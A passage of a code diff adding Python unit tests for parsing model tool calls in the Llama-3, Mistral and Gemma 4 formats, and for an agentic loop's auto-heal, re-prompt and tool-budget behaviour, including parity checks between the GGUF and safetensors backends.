+        # Llama-3 emits <|eom_id|> after the JSON; must not break parsing.
+        import json
+
+        text = '<|python_tag|>{"name":"python","parameters":{"code":"print(2+2)"}}<|eom_id|>'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"code": "print(2+2)"}
+
+    def test_llama3_strip_markup_final(self):
+        text = '<|python_tag|>brave_search.call(query="x")'
+        assert strip_tool_markup(text, final = True) == ""
+
+    # Llama-3.2 bare JSON ``custom_tools``
+
+    def test_llama3_2_bare_json_parameters(self):
+        # Llama-3.2-Instruct emits bare JSON directly as content, no <|python_tag|> prefix.
+        import json
+
+        text = '{"name":"web_search","parameters":{"query":"Tokyo weather"}}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"query": "Tokyo weather"}
+
+    def test_llama3_2_bare_json_arguments_key(self):
+        import json
+
+        text = '{"name":"add","arguments":{"a":1,"b":2}}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"a": 1, "b": 2}
+
+    def test_llama3_2_bare_json_multi_call(self):
+        # Llama-3 may chain calls with "; " per training template.
+        text = '{"name":"a","parameters":{}}; {"name":"b","parameters":{}}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 2
+        assert result[0]["function"]["name"] == "a"
+        assert result[1]["function"]["name"] == "b"
+
+    def test_llama3_2_bare_json_with_eom_sentinel(self):
+        text = '{"name":"x","parameters":{"y":1}}<|eom_id|>'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "x"
+
+    def test_llama3_2_bare_json_leading_sentinel_skipped(self):
+        # Sometimes prior <|eot_id|> leaks into the next turn.
+        text = '<|eot_id|>{"name":"x","parameters":{}}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "x"
+
+    def test_llama3_2_bare_json_plain_prose_does_not_fire(self):
+        # Defensive: must NOT fire on plain assistant prose.
+        text = "Hello world, how are you today?"
+        assert parse_tool_calls_from_text(text) == []
+
+    def test_llama3_2_bare_json_embedded_in_prose_does_not_fire(self):
+        # Defensive: JSON embedded in prose must NOT fire (content must START with `{`).
+        text = 'The tool result was: {"name":"foo"}'
+        assert parse_tool_calls_from_text(text) == []
+
+    def test_llama3_2_bare_json_missing_name_does_not_fire(self):
+        text = '{"result":"ok","data":[1,2,3]}'
+        assert parse_tool_calls_from_text(text) == []
+
+    def test_llama3_2_bare_json_missing_args_does_not_fire(self):
+        text = '{"name":"x"}'
+        assert parse_tool_calls_from_text(text) == []
+
+    def test_llama3_2_bare_json_args_not_dict_does_not_fire(self):
+        text = '{"name":"x","parameters":42}'
+        assert parse_tool_calls_from_text(text) == []
+
+    def test_llama3_2_bare_json_string_parameters_does_not_fire(self):
+        # Llama-3 spec: parameters must be a dict; a string value must NOT trigger.
+        text = '{"name":"foo","parameters":"this is a sentence"}'
+        assert parse_tool_calls_from_text(text) == []
+
+    def test_llama3_2_bare_json_string_arguments_not_json_does_not_fire(self):
+        # OpenAI arguments may be a JSON-string of a dict, but a plain non-JSON string must not pass.
+        text = '{"name":"foo","arguments":"not json"}'
+        assert parse_tool_calls_from_text(text) == []
+
+    def test_llama3_2_bare_json_string_arguments_json_dict_fires(self):
+        # OpenAI shape: arguments is a JSON-encoded string of a dict.
+        text = '{"name":"foo","arguments":"{\\"q\\":\\"x\\"}"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "foo"
+        # arguments stays as the original JSON-string.
+        assert result[0]["function"]["arguments"] == '{"q":"x"}'
+
+    def test_llama3_2_bare_json_string_arguments_json_non_dict_does_not_fire(self):
+        # JSON-string that parses to a list / scalar / null must NOT fire.
+        for bad in (
+            '{"name":"foo","arguments":"[1,2,3]"}',
+            '{"name":"foo","arguments":"\\"plain\\""}',
+            '{"name":"foo","arguments":"null"}',
+            '{"name":"foo","arguments":"42"}',
+        ):
+            assert parse_tool_calls_from_text(bad) == [], bad
+
+    # Mistral pre-v11
+
+    def test_mistral_pre_v11_array(self):
+        import json
+
+        text = '[TOOL_CALLS] [{"name":"web_search","arguments":{"query":"hello"},"id":"abc"}]'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+        # Mistral provides its own id; preserve it.
+        assert result[0]["id"] == "abc"
+        assert json.loads(result[0]["function"]["arguments"]) == {"query": "hello"}
+
+    def test_mistral_array_parameters_key_alias(self):
+        import json
+
+        # Array object keyed on parameters (not arguments) must keep its payload.
+        text = '[TOOL_CALLS] [{"name":"get_weather","parameters":{"city":"Paris"}}]'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_weather"
+        assert json.loads(result[0]["function"]["arguments"]) == {"city": "Paris"}
+
+    def test_mistral_pre_v11_array_multi(self):
+        text = (
+            '[TOOL_CALLS] [{"name":"a","arguments":{"x":1},"id":"id1"},'
+            '{"name":"b","arguments":{"y":2},"id":"id2"}]'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 2
+        assert result[0]["function"]["name"] == "a"
+        assert result[1]["function"]["name"] == "b"
+
+    def test_mistral_pre_v11_unclosed_array(self):
+        # Closing ] truncated: parser must heal off individual objects.
+        text = '[TOOL_CALLS] [{"name":"web_search","arguments":{"q":"x"},"id":"id"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    # Mistral v11+
+
+    def test_mistral_v11_single(self):
+        # Magistral / Mistral Small 3.1: bare name{json} after trigger.
+        import json
+
+        text = '[TOOL_CALLS]add{"a":3.5,"b":4}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "add"
+        assert json.loads(result[0]["function"]["arguments"]) == {"a": 3.5, "b": 4}
+
+    def test_mistral_v11_parallel(self):
+        # v11+ parallel: [TOOL_CALLS]a{...}[TOOL_CALLS]b{...}.
+        text = '[TOOL_CALLS]add{"a":1}[TOOL_CALLS]sub{"b":2}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 2
+        assert result[0]["function"]["name"] == "add"
+        assert result[1]["function"]["name"] == "sub"
+
+    def test_mistral_v11_with_args_marker(self):
+        # Ministral / Mistral Large 3: [TOOL_CALLS]name[ARGS]{json}.
+        import json
+
+        text = '[TOOL_CALLS]add[ARGS]{"a":1,"b":2}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "add"
+        assert json.loads(result[0]["function"]["arguments"]) == {"a": 1, "b": 2}
+
+    def test_mistral_strip_markup_v11(self):
+        text = '[TOOL_CALLS]add{"a":1}'
+        assert strip_tool_markup(text, final = True) == ""
+
+    def test_mistral_call_id_form(self):
+        # Mistral Small 3.2: the [CALL_ID] segment must be skipped, not treated as a stop (llama.cpp test-chat.cpp:4785).
+        import json
+
+        text = '[TOOL_CALLS]special_function[CALL_ID]123456789[ARGS]{"arg1": 1}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "special_function"
+        assert json.loads(result[0]["function"]["arguments"]) == {"arg1": 1}
+
+    def test_mistral_call_id_form_parallel(self):
+        text = (
+            '[TOOL_CALLS]special_function[CALL_ID]000000001[ARGS]{"arg1": 1}'
+            "[TOOL_CALLS]special_function_with_opt[CALL_ID]000000002"
+            '[ARGS]{"arg1": 1, "arg2": 2}'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 2
+        assert result[0]["function"]["name"] == "special_function"
+        assert result[1]["function"]["name"] == "special_function_with_opt"
+
+    def test_mistral_call_id_form_stripped(self):
+        text = '[TOOL_CALLS]special_function[CALL_ID]123456789[ARGS]{"arg1": 1}'
+        assert strip_tool_markup(text, final = True) == ""
+
+    def test_mistral_think_reasoning_ignored(self):
+        # A [TOOL_CALLS] inside [THINK]...[/THINK] is reasoning; only the call after [/THINK] counts (llama.cpp test-chat.cpp:2285).
+        import json
+
+        text = (
+            '[THINK]Let me think about [TOOL_CALLS]fake[ARGS]{"x":1} '
+            'and more[/THINK][TOOL_CALLS]real_fn[ARGS]{"y":2}'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "real_fn"
+        assert json.loads(result[0]["function"]["arguments"]) == {"y": 2}
+
+    def test_mistral_think_reasoning_no_real_call(self):
+        # Reasoning that mentions a call but emits none after [/THINK] yields no calls.
+        text = '[THINK]I might call [TOOL_CALLS]fake[ARGS]{"x":1}[/THINK]Done.'
+        assert parse_tool_calls_from_text(text) == []
+
+    def test_mistral_think_literal_in_argument_preserved(self):
+        # A literal [THINK] inside a real tool argument must not be stripped or corrupt the parse.
+        import json
+
+        text = '[TOOL_CALLS]search[ARGS]{"q":"explain the [THINK] token"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"]) == {"q": "explain the [THINK] token"}
+
+    # Gemma 4
+
+    def test_gemma4_simple_call(self):
+        import json
+
+        text = (
+            "<|tool_call>call:get_weather{"
+            'location:<|"|>Tokyo<|"|>,units:<|"|>celsius<|"|>}<tool_call|>'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_weather"
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"location": "Tokyo", "units": "celsius"}
+
+    def test_gemma4_with_primitives(self):
+        import json
+
+        text = (
+            "<|tool_call>call:set_pref{"
+            "enabled:true,attempts:5,threshold:1.5,nickname:null}<tool_call|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"enabled": True, "attempts": 5, "threshold": 1.5, "nickname": None}
+
+    def test_gemma4_nested_args(self):
+        # Gemma 4 nests dicts / lists with bare keys and <|"|> strings.
+        import json
+
+        text = (
+            "<|tool_call>call:search{"
+            'query:<|"|>foo<|"|>,filters:{site:<|"|>example.com<|"|>,recent:true},'
+            'tags:[<|"|>a<|"|>,<|"|>b<|"|>]}<tool_call|>'
+        )
+        result = parse_tool_calls_from_text(text)
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args["query"] == "foo"
+        assert args["filters"] == {"site": "example.com", "recent": True}
+        assert args["tags"] == ["a", "b"]
+
+    def test_gemma4_multi_call(self):
+        text = "<|tool_call>call:a{x:1}<tool_call|><|tool_call>call:b{y:2}<tool_call|>"
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 2
+        assert result[0]["function"]["name"] == "a"
+        assert result[1]["function"]["name"] == "b"
+
+    def test_gemma4_unclosed_does_not_raise(self):
+        # Truncated mid-stream; must not raise.
+        text = '<|tool_call>call:foo{x:<|"|>bar<|"|>'
+        result = parse_tool_calls_from_text(text)
+        assert isinstance(result, list)
+
+    def test_gemma4_strip_markup_final(self):
+        text = "<|tool_call>call:foo{x:1}<tool_call|>"
+        assert strip_tool_markup(text, final = True) == ""
+
+    # Cross-format sentinels
+
+    def test_all_markers_in_tool_xml_signals(self):
+        # Streaming buffer wakes up on every emission marker.
+        from core.inference.tool_call_parser import TOOL_XML_SIGNALS
+        for marker in (
+            "<tool_call>",
+            "<function=",
+            "<|python_tag|>",
+            "[TOOL_CALLS]",
+            "<|tool_call>",
+        ):
+            assert marker in TOOL_XML_SIGNALS, f"streaming loop would not wake on {marker!r}"
+
+    def test_has_tool_signal_for_all_formats(self):
+        assert has_tool_signal('<|python_tag|>brave_search.call(q="x")')
+        assert has_tool_signal('[TOOL_CALLS] [{"name":"x"}]')
+        assert has_tool_signal('[TOOL_CALLS]add{"a":1}')
+        assert has_tool_signal("<|tool_call>call:foo{}<tool_call|>")
+
 
 # ────────────────────────────────────────────────────────────────────
 # run_safetensors_tool_loop
@@ -347,6 +738,130 @@ def test_active_tools_are_passed_to_single_turn_after_render_html_success():
     assert any(event.get("type") == "content" and event.get("text") == "Done." for event in events)
 
 
+def test_safety_net_honors_disabled_auto_heal_for_late_incomplete_call():
+    # A late unclosed <tool_call> heals only with Auto-Heal on; off, it must not execute.
+    prose = "Sure, let me look that up for you right now. "
+    incomplete = '<tool_call>{"name":"web_search","arguments":{"query":"weather in Sydney"}}'
+
+    loop_off, exec_off = _make_loop(
+        turns = [[prose, incomplete], ["Final answer."]],
+        exec_results = ["RESULT"],
+        auto_heal_tool_calls = False,
+        max_tool_iterations = 3,
+    )
+    events_off = _collect_events(loop_off)
+    assert exec_off.calls == [], "disabled Auto-Heal must not execute a healed incomplete call"
+    assert not [e for e in events_off if e.get("type") == "tool_start"]
+
+    loop_on, exec_on = _make_loop(
+        turns = [[prose, incomplete], ["Final answer."]],
+        exec_results = ["RESULT"],
+        auto_heal_tool_calls = True,
+        max_tool_iterations = 3,
+    )
+    _collect_events(loop_on)
+    assert exec_on.calls == [("web_search", {"query": "weather in Sydney"})], exec_on.calls
+
+
+def test_bare_json_tool_call_is_not_streamed_as_content():
+    # Llama-3.2 bare form carries no XML signal: BUFFER until the object closes, never leak the JSON.
+    bare = '{"name":"web_search","parameters":{"query":"cats"}}'
+    loop, exec_fn = _make_loop(
+        turns = [[bare], ["Here are the results."]],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any('"name"' in t or "web_search" in t for t in contents), contents
+    assert any("Here are the results." in t for t in contents)
+
+
+def test_ordinary_json_with_name_key_is_shown_not_treated_as_tool_call():
+    # Markerless JSON whose "name" is not an enabled tool must be shown, not dropped.
+    answer = '{"name":"Alice","parameters":{"age":30}}'
+    loop, exec_fn = _make_loop(turns = [[answer]], max_tool_iterations = 1)
+    events = _collect_events(loop)
+    assert exec_fn.calls == [], exec_fn.calls
+    contents = "".join(e["text"] for e in events if e["type"] == "content")
+    assert "Alice" in contents, contents
+
+
+def test_bare_json_tool_call_split_across_chunks_is_not_streamed():
+    # Same as above but the bare object arrives split mid-key, held across chunks until it balances.
+    loop, exec_fn = _make_loop(
+        turns = [
+            ['{"name":"web_', 'search","parameters":{"query":"cats"}}'],
+            ["Done."],
+        ],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any('"name"' in t or "web_search" in t for t in contents), contents
+
+
+def test_leading_json_answer_is_not_dropped():
+    # A leading {...} that is NOT a call must still surface; the hold only delays it.
+    obj = '{"answer": 42, "note": "done"}'
+    loop, exec_fn = _make_loop(
+        turns = [[obj]],
+        exec_results = [],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == []
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert any('"answer"' in t for t in contents), contents
+
+
+def _reprompt_loop(*, auto_heal_tool_calls):
+    """Drive one restricted tool with an intent-only first turn to exercise the nudge; returns conversations and events."""
+    captured: list[list] = []
+
+    def fake_single_turn(messages, active_tools = None):
+        captured.append(list(messages))
+        if len(captured) == 1:
+            yield "I'll search for that now."  # forward-looking intent, no call
+        else:
+            yield "Final answer."
+
+    exec_fn = FakeExecuteTool([])
+    events = _collect_events(
+        run_safetensors_tool_loop(
+            single_turn = fake_single_turn,
+            messages = [{"role": "user", "content": "find X"}],
+            tools = [{"type": "function", "function": {"name": "search_knowledge_base"}}],
+            execute_tool = exec_fn,
+            auto_heal_tool_calls = auto_heal_tool_calls,
+            max_tool_iterations = 3,
+        )
+    )
+    return captured, events
+
+
+def test_reprompt_names_only_active_tools_not_hardcoded():
+    # The nudge must name the tools actually enabled, not hardcoded web_search/python.
+    captured, _events = _reprompt_loop(auto_heal_tool_calls = True)
+    assert len(captured) >= 2, "intent prose should have triggered a re-prompt turn"
+    reprompt = captured[1][-1]
+    assert reprompt["role"] == "user"
+    assert "search_knowledge_base" in reprompt["content"]
+    assert "web_search" not in reprompt["content"]
+    assert "python" not in reprompt["content"]
+
+
+def test_reprompt_suppressed_when_auto_heal_disabled():
+    # With Auto-Heal off the nudge stays silent for GGUF parity, so only the initial generation runs.
+    captured, events = _reprompt_loop(auto_heal_tool_calls = False)
+    assert len(captured) == 1, captured
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert any("search for that" in t for t in contents)
+
+
 class TestLoopBasic:
     def test_plain_answer(self):
         # No tool XML; loop should yield content then status="".
@@ -406,6 +921,85 @@ class TestLoopBasic:
         contents = [e for e in events if e["type"] == "content"]
         assert "Result: 1" in contents[-1]["text"]
 
+    def test_llama3_python_tag_form(self):
+        # The loop must recognise Llama-3's <|python_tag|> marker, drain the turn, and execute the call.
+        loop, exec_fn = _make_loop(
+            turns = [
+                [
+                    "<|python_tag|>web_search.call(",
+                    'query="weather in Tokyo"',
+                    ")",
+                ],
+                ["The weather is sunny."],
+            ],
+            exec_results = ["Sunny, 22C"],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "weather in Tokyo"})]
+        contents = [e for e in events if e["type"] == "content"]
+        assert "sunny" in contents[-1]["text"].lower()
+
+    def test_llama3_bare_json_form_fires_tool(self):
+        # Llama-3.1/3.2 bare-JSON calls carry no XML signal; the safety-net parse must still fire
+        # the tool. Regression for the has_tool_signal gate that dropped these.
+        loop, exec_fn = _make_loop(
+            turns = [
+                ['{"name": "web_search", "parameters": {"query": "weather in SF"}}'],
+                ["The weather is sunny."],
+            ],
+            exec_results = ["Sunny, 18C"],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "weather in SF"})]
+        contents = [e for e in events if e["type"] == "content"]
+        assert "sunny" in contents[-1]["text"].lower()
+
+    def test_mistral_pre_v11_form(self):
+        # Pre-v11 Mistral emission: [TOOL_CALLS] [{...}].
+        loop, exec_fn = _make_loop(
+            turns = [
+                [
+                    '[TOOL_CALLS] [{"name":"web_search",',
+                    '"arguments":{"query":"hi"},"id":"abc"}]',
+                ],
+                ["done"],
+            ],
+            exec_results = ["ok"],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "hi"})]
+        # Mistral-provided ids must propagate to tool_start events.
+        tool_start = next(e for e in events if e["type"] == "tool_start")
+        assert tool_start["tool_call_id"] == "abc"
+
+    def test_mistral_v11_form(self):
+        # v11+ Mistral emission: bare name{json} after the trigger.
+        loop, exec_fn = _make_loop(
+            turns = [
+                ['[TOOL_CALLS]web_search{"query":"hi"}'],
+                ["done"],
+            ],
+            exec_results = ["ok"],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "hi"})]
+
+    def test_gemma4_form(self):
+        # Gemma 4 emission: <|tool_call>call:NAME{...}<tool_call|>.
+        loop, exec_fn = _make_loop(
+            turns = [
+                [
+                    "<|tool_call>call:web_search{",
+                    'query:<|"|>weather<|"|>',
+                    "}<tool_call|>",
+                ],
+                ["sunny"],
+            ],
+            exec_results = ["Sunny, 22C"],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "weather"})]
+
     def test_render_html_emits_provisional_tool_start(self):
         exec_fn = FakeExecuteTool(["Rendered HTML canvas."])
         turn_iter = iter(
@@ -765,6 +1359,55 @@ class TestLoopBehaviour:
         assert len(duplicate_nudges) == 1
         assert captured_tool_names[2] == ["web_search", "python"]
 
+    def test_duplicate_noop_does_not_consume_budget_at_small_cap(self):
+        # A duplicate no-op turn must NOT spend the tool budget: only turns that execute a tool
+        # count (GGUF parity), so a distinct call can still follow at max_tool_iterations=2.
+        captured_tool_names: list[list[str]] = []
+        turns = iter(
+            [
+                ['<tool_call>{"name":"web_search","arguments":{"query":"x"}}</tool_call>'],
+                ['<tool_call>{"name":"web_search","arguments":{"query":"x"}}</tool_call>'],
+                ['<tool_call>{"name":"python","arguments":{"code":"print(1)"}}</tool_call>'],
+                ["final"],
+            ]
+        )
+
+        def fake_single_turn(messages, active_tools = None):
+            captured_tool_names.append(
+                [
+                    tool["function"]["name"]
+                    for tool in (active_tools or [])
+                    if tool.get("function", {}).get("name")
+                ]
+            )
+            chunks = next(turns)
+            acc = ""
+            for chunk in chunks:
+                acc += chunk
+                yield acc
+
+        exec_fn = FakeExecuteTool(["search-result", "python-result"])
+        _collect_events(
+            run_safetensors_tool_loop(
+                single_turn = fake_single_turn,
+                messages = [{"role": "user", "content": "hi"}],
+                tools = [
+                    {"type": "function", "function": {"name": "web_search"}},
+                    {"type": "function", "function": {"name": "python"}},
+                ],
+                execute_tool = exec_fn,
+                max_tool_iterations = 2,
+            )
+        )
+
+        # Both distinct tools execute; the repeated call in between did not cost a slot.
+        assert exec_fn.calls == [
+            ("web_search", {"query": "x"}),
+            ("python", {"code": "print(1)"}),
+        ]
+        # The turn after the duplicate still offered tools (budget not yet spent).
+        assert captured_tool_names[2] == ["web_search", "python"]
+
     def test_repeated_duplicate_noop_transitions_to_final_attempt(self):
         captured_tool_names: list[list[str]] = []
         turns = iter(
@@ -953,6 +1596,234 @@ class TestLoopBehaviour:
         assert "boom" in tool_end["result"]
 
 
+class TestLoopRePrompt:
+    """Plan-without-action re-prompt parity with GGUF: nudge instead of terminating, up to ``_MAX_REPROMPTS`` extra slots."""
+
+    def test_intent_signal_triggers_reprompt(self):
+        # Turn 1: intent signal, no tool call.
+        # Turn 2 (re-prompt): proper tool call -> executes.
+        # Turn 3: final answer.
+        loop, exec_fn = _make_loop(
+            turns = [
+                ["Let me search for that."],
+                [
+                    '<tool_call>{"name":"web_search","arguments":'
+                    '{"query":"sky color"}}</tool_call>'
+                ],
+                ["The sky is blue."],
+            ],
+            exec_results = ["Blue (Rayleigh scattering)"],
+        )
+        events = _collect_events(loop)
+        # web_search must have been called once (after the re-prompt).
+        assert exec_fn.calls == [("web_search", {"query": "sky color"})]
+        contents = [e for e in events if e["type"] == "content"]
+        assert contents and "blue" in contents[-1]["text"].lower()
+
+    def test_intent_signal_without_tools_does_not_reprompt(self):
+        # Same intent signal but no tools enabled -- must NOT re-prompt.
+        loop, exec_fn = _make_loop(
+            turns = [["Let me think about that for a moment."]],
+            exec_results = [],
+        )
+        # _make_loop hard-codes three tools; rebuild without tools.
+        from core.inference.safetensors_agentic import run_safetensors_tool_loop
+
+        def _gen(_messages):
+            yield "Let me think about that for a moment."
+
+        exec_fn = FakeExecuteTool([])
+        events = _collect_events(
+            run_safetensors_tool_loop(
+                single_turn = _gen,
+                messages = [{"role": "user", "content": "hi"}],
+                tools = [],
+                execute_tool = exec_fn,
+            )
+        )
+        assert exec_fn.calls == []
+        contents = [e for e in events if e["type"] == "content"]
+        assert contents and "think" in contents[-1]["text"].lower()
+
+    def test_direct_answer_does_not_trigger_reprompt(self):
+        # Plain answer with no intent words: do NOT re-prompt.
+        loop, exec_fn = _make_loop(
+            turns = [["4"]],
+            exec_results = [],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == []
+        contents = [e for e in events if e["type"] == "content"]
+        assert contents and contents[-1]["text"].strip() == "4"
+
+    def test_max_reprompts_capped_at_three(self):
+        # Model keeps stalling with intent -- after 3 re-prompts the loop must give up.
+        turns = [["Let me search for that."]] * 6  # well over the cap
+        loop, exec_fn = _make_loop(
+            turns = turns,
+            exec_results = [],
+        )
+        events = _collect_events(loop, max_events = 500)
+        # No tool ever ran, but the loop terminated cleanly.
+        assert exec_fn.calls == []
+        statuses = [e for e in events if e["type"] == "status"]
+        assert statuses and statuses[-1]["text"] == ""
+
+    def test_short_intent_below_buffer_threshold_triggers_reprompt(self):
+        # Short emission that never exits BUFFERING must still trigger the intent re-prompt.
+        loop, exec_fn = _make_loop(
+            turns = [
+                ["Let me check."],
+                ['<tool_call>{"name":"web_search","arguments":{"query":"x"}}</tool_call>'],
+                ["found"],
+            ],
+            exec_results = ["..."],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "x"})]
+
+    def test_reprompt_does_not_consume_tool_budget(self):
+        # max_tool_iterations=1: the re-prompt must not eat the slot, so the real call still runs.
+        loop, exec_fn = _make_loop(
+            turns = [
+                # 1. Intent stall (re-prompt 1/3).
+                ["Let me search for that."],
+                # 2. Real tool call (uses the budget slot).
+                ['<tool_call>{"name":"web_search","arguments":{"query":"weather"}}</tool_call>'],
+                # 3. Budget exhausted -> nudged final answer.
+                ["Final: it is sunny"],
+            ],
+            exec_results = ["sunny"],
+            max_tool_iterations = 1,
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "weather"})]
+        contents = [e for e in events if e["type"] == "content"]
+        assert contents and "sunny" in contents[-1]["text"].lower()
+
+
+class TestLoopCanonicalHealKey:
+    """Per-tool canonical heal key (``code``/``command``/``query``), mirroring GGUF."""
+
+    def test_python_bare_string_heals_to_code(self):
+        loop, exec_fn = _make_loop(
+            turns = [
+                ['<tool_call>{"name":"python","arguments":"print(1)"}' "</tool_call>"],
+                ["done"],
+            ],
+            exec_results = ["1\n"],
+        )
+        events = _collect_events(loop)
+        # The bare string must heal to {"code": ...}, not {"query": ...}, so the python sandbox runs it.
+        assert exec_fn.calls == [("python", {"code": "print(1)"})]
+
+    def test_terminal_bare_string_heals_to_command(self):
+        loop, exec_fn = _make_loop(
+            turns = [
+                ['<tool_call>{"name":"terminal","arguments":"ls -la"}' "</tool_call>"],
+                ["done"],
+            ],
+            exec_results = ["..."],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("terminal", {"command": "ls -la"})]
+
+    def test_unknown_tool_bare_string_heals_to_query(self):
+        loop, exec_fn = _make_loop(
+            turns = [
+                ['<tool_call>{"name":"web_search","arguments":"hello"}' "</tool_call>"],
+                ["ok"],
+            ],
+            exec_results = ["..."],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "hello"})]
+
+
+class TestGGUFSafetensorsHealingParity:
+    """Pin GGUF vs safetensors/MLX loop parity so a regression on either side breaks CI."""
+
+    def test_gguf_imports_shared_signal_markers(self):
+        # The GGUF BUFFERING machine must wake on every shared emission marker, else calls slip past as prose.
+        import inspect
+
+        from core.inference.llama_cpp import LlamaCppBackend
+
+        src = inspect.getsource(LlamaCppBackend.generate_chat_completion_with_tools)
+        assert "_SHARED_TOOL_XML_SIGNALS" in src, (
+            "GGUF agentic loop must reuse the shared TOOL_XML_SIGNALS "
+            "tuple so it wakes on all five emission formats"
+        )
+
+    def test_gguf_uses_shared_strip_helper(self):
+        # The GGUF stream-cleanup must delegate to the shared strip_tool_markup for every family.
+        import inspect
+
+        from core.inference.llama_cpp import LlamaCppBackend
+
+        src = inspect.getsource(LlamaCppBackend.generate_chat_completion_with_tools)
+        assert (
+            "_shared_strip_tool_markup" in src
+        ), "GGUF stream cleanup must delegate to the shared strip_tool_markup helper"
+
+    def test_gguf_uses_canonical_heal_keys(self):
+        # GGUF and safetensors heal a bare-string argument to the same canonical key via the shared coerce_tool_arguments.
+        from core.inference.tool_loop_controller import (
+            _CANONICAL_HEAL_ARG,
+            coerce_tool_arguments,
+        )
+
+        assert _CANONICAL_HEAL_ARG["python"] == "code"
+        assert _CANONICAL_HEAL_ARG["terminal"] == "command"
+        assert coerce_tool_arguments("print(1)", heal = True, tool_name = "python").arguments == {
+            "code": "print(1)"
+        }
+        assert coerce_tool_arguments("ls -la", heal = True, tool_name = "terminal").arguments == {
+            "command": "ls -la"
+        }
+        assert coerce_tool_arguments("weather", heal = True, tool_name = "web_search").arguments == {
+            "query": "weather"
+        }
+
+    def test_intent_regex_matches_same_phrases_as_gguf(self):
+        # The intent re-prompt regex must match the SAME phrases on both backends.
+        from core.inference.llama_cpp import _INTENT_SIGNAL as gguf_re
+        from core.inference.safetensors_agentic import (
+            _INTENT_SIGNAL as sf_re,
+        )
+
+        for phrase in (
+            "I'll search for that",
+            "I will look it up",
+            "Let me check",
+            "I am going to call the tool",
+            "First, I will explore",
+            "Here's my plan",
+            "Now I need to call web_search",
+        ):
+            assert gguf_re.search(phrase), f"GGUF missed {phrase!r}"
+            assert sf_re.search(phrase), f"safetensors missed {phrase!r}"
+
+        for plain in (
+            "4",
+            "Hello!",
+            "The sky is blue.",
+            "I can help with that.",
+            "I should mention",
+            "Let's go.",
+            # Negated intent is a refusal, not a plan: neither backend may re-prompt on it.
+            "I will not search the web for that.",
+            "I'll never call that tool.",
+        ):
+            assert not gguf_re.search(plain), f"GGUF wrongly fired on {plain!r}"
+            assert not sf_re.search(plain), f"safetensors wrongly fired on {plain!r}"
+
+    def test_max_reprompts_equal_on_both_backends(self):
+        from core.inference.llama_cpp import _MAX_REPROMPTS as gguf_cap
+        from core.inference.safetensors_agentic import _MAX_REPROMPTS as sf_cap
+        assert gguf_cap == sf_cap == 3
+
+
 class TestLoopControl:
     def test_cancel_event_breaks_loop(self):
         cancel = threading.Event()
@@ -1407,5 +2278,358 @@ class TestGptOssNameDetection:
         assert is_gpt_oss_model_name(cast(str, None)) is False
 
 
+# Routes-level python_tag strip (multi-line; stop on next sentinel)
+class TestRoutesPythonTagStrip:
+    """``_TOOL_XML_RE`` must consume multi-line code, embedded JSON, and bare ``<`` (earlier ``[^\n<]*`` / ``[^\n]*`` revisions leaked tails); the streaming route-level strip is the regression-prone path."""
+
+    def _strip(self, text: str) -> str:
+        # Import inside the test so a routes-module import error doesn't fail collection.
+        from routes.inference import _strip_tool_xml
+        return _strip_tool_xml(text)
+
